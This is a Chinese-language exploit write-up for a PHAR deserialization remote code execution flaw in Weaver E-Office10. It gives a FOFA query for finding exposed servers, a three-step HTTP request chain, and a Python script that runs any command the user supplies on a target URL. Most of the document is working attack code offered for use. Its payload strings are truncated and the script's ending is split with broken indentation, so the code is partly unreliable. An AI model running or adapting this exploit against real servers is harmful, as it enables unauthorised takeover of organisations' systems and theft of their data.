# F8-16泛微-E-Office-RCE

## 漏洞描述：

2024年3月，互联网上披露泛微E-Office10存在远程代码执行漏洞，攻击者可利用该漏洞获取服务器控制权限。该漏洞利用简单，无需前置条件，建议受影响的客户尽快修复漏洞。
**漏洞成因**
漏洞的关键在于系统处理上传的PHAR文件时存在缺陷。攻击者能够上传伪装的PHAR文件到服务器，利用PHP处理PHAR文件时自动进行的反序列化机制来触发远程代码执行。
**漏洞影响**
这一漏洞的成功利用将会导致严重的安全后果。攻击者通过上传特制的PHAR文件，可以执行服务器上的任意代码，从而获得服务器的进一步控制权。最严重的情况下，这可能导致服务器的完全接管，敏感数据泄露，甚至将服务器转化为发起其他攻击的跳板。

## 影响版本：

v10.0_20180516 < E-Office10 < v10.0_20240222

**网站图片：**


## 网络测绘：

**fofa语法：**

body="eoffice_loading_tip" && body="eoffice10"

## 漏洞复现：

上传phar序列化文件，获取响应体中attachment_id的值
payload：

```
POST /eoffice10/server/public/api/attachment/atuh-file HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=7188335fc2b1af077684a437664d25b9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*

--7188335fc2b1af077684a437664d25b9
Content-Disposition: form-data; name="Filedata"; filename="register.inc"
Content-Type: image/jpeg

{{unquote("<?php __HALT_COMPILER\x28\x29; ?>\x0d\x0a$\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\xee\x00\x00\x00O:40:\"Illuminate\\Broadcasting\
--7188335fc2b1af077684a437664d25b9--
```

效果图:
PS：文件中默认执行的命令为whoami


携带attachment_id的值，获取文件创建的时间戳

```
POST /eoffice10/server/public/api/wps/v1/3rd/file/history HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

x-weboffice-file-id: attachment_id的值


利用Phar:// 伪协议读取phar序列化文件的命令执行结果

```
POST /eoffice10/server/public/api/dingtalk/dingtalk-move?imgs=phar://../../../../attachment/2024/04/04/attachment_id的值/文件创建时间戳+上传文件名的md5值.inc HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
```

PS：attachment目录后面的路径是 上传年月日/attachment_id的值/文件创建时间戳+上传文件名的md5值.inc



利用脚本

```
# -*- coding:utf-8 -*-
import json
import requests
import urllib3
import hashlib
import time
from hashlib import sha1
import base64


def payload(url,cmd):
    urls = url + '/eoffice10/server/public/api/attachment/atuh-file'
    hearder = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'}
    file = base64.b64decode("PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQokAQAAAQAAABEAAAABAAAAAADuAAAATzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5
    # print(file)
    data = file[:-28]
    # print(b's:'+bytes(str(len(cmd)),encoding="utf-8")+b':"'+bytes(cmd, encoding='utf-8')+b'";')
    data = data.replace(b's:6:"whoami";', b's:'+bytes(str(len(cmd)),encoding="utf-8")+b':"'+bytes(cmd, encoding='utf-8')+b'";')
    final = file[-8:]
    newfile = data + sha1(data).digest() + final
    upload_file = {"Filedata": ("register.inc", newfile, "image/jpeg")}
    urllib3.disable_warnings()
    response = requests.post(url=urls, files=upload_file, headers=hearder)  # ,proxies=proxy)
    response_text = response.text
    attachment_id = json.loads(response_text)['data']['attachment_id']

    urls = url + '/eoffice10/server/public/api/wps/v1/3rd/file/history'
    heards = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36',
        'x-weboffice-file-id': attachment_id
    }
    urllib3.disable_warnings()
    response = requests.post(url=urls, headers=heards, verify=False)  # ,proxies=proxy)
    response_json = response.json()
    filename = str(response_json["histories"][0]["create_time"]) + 'register.inc'
    md5name = hashlib.md5(filename.encode())
    md5name = md5name.hexdigest()
    Time = time.strftime('%Y/%m/%d', time.localtime(time.time()))

    urls = url + '/eoffice10/server/public/api/dingtalk/dingtalk-move?imgs=phar://../../../../attachment/' + Time + '/' + attachment_id + '/' + md5name + '.inc'
    hearder = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5829.201 Safari/537.36'}
    urllib3.disable_warnings()
    print(urls)
    response = requests.post(url=urls, verify=False, headers=hearder)  # ,proxies=proxy)
    response_text = response.text
    print(response_text)
    result = response_text.split('}')[-1]
    print(result)


if __name__ == '__main__':
    url = input("url: ")
    cmd = input("要执行的命令: ")
    if not url.startswith(("http://", "https://")):
```

```
    url = "http://" + url
if url.endswith("/"):
    url = url[:-1]
payload(url,cmd)
```